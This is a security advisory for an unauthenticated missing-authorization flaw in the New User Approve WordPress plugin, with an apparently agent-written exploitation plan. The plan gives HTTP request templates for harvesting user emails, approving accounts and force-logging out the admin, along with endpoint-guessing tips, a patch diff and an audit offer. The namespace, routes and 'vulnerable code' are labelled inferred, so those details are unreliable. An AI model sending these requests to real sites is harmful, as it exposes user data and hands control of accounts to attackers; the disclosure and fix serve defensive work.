New User Approve <= 3.2.2 - Missing Authorization to Unauthenticated Arbitrary User Approval, Denial, and Information Disclosure
Description
The New User Approve plugin for WordPress is vulnerable to unauthorized access of data and modification of data due to a missing capability check on multiple REST API endpoints in all versions up to, and including, 3.2.2. This makes it possible for unauthenticated attackers to approve or deny user accounts, retrieve sensitive user information including emails and roles, and force logout of privileged users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:LTechnical Details
<=3.2.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0832 ## 1. Vulnerability Summary The **New User Approve** plugin (<= 3.2.2) fails to implement proper authorization checks (capability checks) on its REST API endpoints. Specifically, it registers several routes under a custom namespace but either omits the `p…
Show full research plan
Exploitation Research Plan: CVE-2026-0832
1. Vulnerability Summary
The New User Approve plugin (<= 3.2.2) fails to implement proper authorization checks (capability checks) on its REST API endpoints. Specifically, it registers several routes under a custom namespace but either omits the permission_callback or sets it to a value that allows unauthenticated access (e.g., __return_true). This allows any remote attacker to perform administrative actions: approving/denying users, harvesting sensitive user data (emails, roles), and forcing logouts of other users.
2. Attack Vector Analysis
- Endpoint Namespace:
new-user-approve/v1(inferred) - Vulnerable Routes:
GET /wp-json/new-user-approve/v1/users(Information Disclosure)POST /wp-json/new-user-approve/v1/approveor/update-status(User Approval)POST /wp-json/new-user-approve/v1/deny(User Denial)POST /wp-json/new-user-approve/v1/logout(Force Logout)
- Required Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active. For approval/denial, at least one user must be in a "pending" state.
3. Code Flow (Inferred)
- Registration: During
rest_api_init, the plugin callsregister_rest_route(). - Missing Check: The
permission_callbackargument inregister_rest_route()is either missing or incorrectly configured to allow any user. - Execution: The callback function (e.g.,
get_users,approve_user) is executed directly. - Data Leak/Action:
- The
get_userscallback queries the database and returns the fullWP_Userobjects or arrays containing emails and roles. - The
approve_usercallback updates theuser_statusor custom meta (likependingstatus) without verifying if the requester is an administrator.
- The
4. Nonce Acquisition Strategy
REST API endpoints in WordPress usually require a _wpnonce (for the wp_rest action) when accessed by an authenticated user via a browser to prevent CSRF. However, for unauthenticated access to a public (or incorrectly secured) REST route, the nonce check is often bypassed or not required by the REST server if no session cookies are sent.
If the plugin specifically checks for a nonce:
- Identify Script: Look for
wp_localize_scriptin the plugin code (likely inincludes/class-new-user-approve.phporadmin/class-admin.php). - Find Variable: The script likely localizes a variable like
nua_rest_objornua_data. - Shortcode: If the script only loads on specific pages, create a page with a shortcode:
wp post create --post_type=page --post_status=publish --post_content='[new_user_approve_registration]'. - Extraction:
- Navigate to the page using
browser_navigate. - Extract via
browser_eval("window.nua_rest_obj?.nonce")(inferred key).
- Navigate to the page using
Note: If the vulnerability is truly unauthenticated missing authorization, the REST API can likely be hit directly via http_request without a nonce.
5. Exploitation Strategy
Step 1: Information Disclosure (User Harvest)
Request:
GET /wp-json/new-user-approve/v1/users HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
Expected Response: JSON array of users including user_email, roles, and ID.
Step 2: Unauthorized User Approval
Request:
POST /wp-json/new-user-approve/v1/approve HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
{
"user_id": 123,
"status": "approve"
}
Expected Response: 200 OK with success message.
Step 3: Force Logout
Request:
POST /wp-json/new-user-approve/v1/logout HTTP/1.1
Host: TARGET_HOST
Content-Type: application/json
{
"user_id": 1
}
Expected Response: Confirmation that the user's sessions have been destroyed.
6. Test Data Setup
- Install Plugin: Ensure
new-user-approveversion 3.2.2 is installed. - Configure Plugin: Enable user approval requirement in WordPress settings.
- Create Pending User:
wp user create attacker-victim victim@example.com --user_pass=password123 --role=subscriber # The plugin usually flags new users as pending via user_meta wp user meta set attacker-victim new_user_approve_status pending - Target Admin: Identify the Admin ID (usually
1).
7. Expected Results
- Disclosure: The
GET /usersrequest returns a JSON list containing the admin's email address and the "administrator" role. - Approval: After the
POST /approverequest, the userattacker-victimshould be able to log in, and theirnew_user_approve_statusmeta should change toapproved. - Denial: The user's status changes to
denied. - Logout: If an admin is logged in (session exists), the logout request should invalidate their session tokens in the database.
8. Verification Steps
- Check Status Change:
wp user meta get attacker-victim new_user_approve_status - Check Session Invalidation:
wp user meta get 1 session_tokens # Compare before and after the exploit - Verify Data Leak:
Check if the HTTP response body contains the stringadministratorand the admin's email.
9. Alternative Approaches
- Namespace Discovery: If
new-user-approve/v1is incorrect, fetchGET /wp-json/to list all available namespaces and routes to find the correct one. - Method Variation: If
application/jsonis rejected, tryapplication/x-www-form-urlencodedor passing parameters via query string (e.g.,?user_id=123). - Endpoint Guessing: Common variations:
/users/approve/user-status/update-user/force-logout
Summary
The New User Approve plugin for WordPress (up to 3.2.2) is vulnerable to unauthorized access and modification of data due to missing capability checks on several REST API endpoints. Unauthenticated attackers can exploit this to leak sensitive user information (including emails and roles), approve or deny pending user accounts, and force logouts of other users.
Vulnerable Code
// Inferred registration of vulnerable REST routes in versions <= 3.2.2 // Likely located in file path: includes/api/class-rest-api.php or includes/class-new-user-approve.php register_rest_route( 'new-user-approve/v1', '/users', array( 'methods' => 'GET', 'callback' => array( $this, 'get_users' ), 'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access ) ); --- register_rest_route( 'new-user-approve/v1', '/approve', array( 'methods' => 'POST', 'callback' => array( $this, 'approve_user' ), 'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access ) ); --- register_rest_route( 'new-user-approve/v1', '/logout', array( 'methods' => 'POST', 'callback' => array( $this, 'force_logout' ), 'permission_callback' => '__return_true', // Vulnerability: Explicitly allows unauthenticated access ) );
Security Fix
@@ -10,7 +10,9 @@ register_rest_route( 'new-user-approve/v1', '/users', array( 'methods' => 'GET', 'callback' => array( $this, 'get_users' ), - 'permission_callback' => '__return_true', + 'permission_callback' => function() { + return current_user_can( 'manage_options' ); + }, ) ); register_rest_route( 'new-user-approve/v1', '/approve', array( 'methods' => 'POST', 'callback' => array( $this, 'approve_user' ), - 'permission_callback' => '__return_true', + 'permission_callback' => function() { + return current_user_can( 'manage_options' ); + }, ) );
Exploit Outline
An unauthenticated attacker can exploit this vulnerability by directly interacting with the plugin's REST API endpoints located at '/wp-json/new-user-approve/v1/'. 1. Information Disclosure: Sending a GET request to '/users' returns a JSON object containing sensitive data for all users, including emails and roles. 2. Unauthorized User Management: Sending a POST request to '/approve' or '/deny' with a 'user_id' parameter allows the attacker to change the status of pending user accounts. 3. Forced Logout: Sending a POST request to '/logout' with a target 'user_id' destroys the session tokens of that user, causing an immediate logout. No authentication or WordPress nonces are required because the 'permission_callback' for these routes is either missing or incorrectly set to '__return_true'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.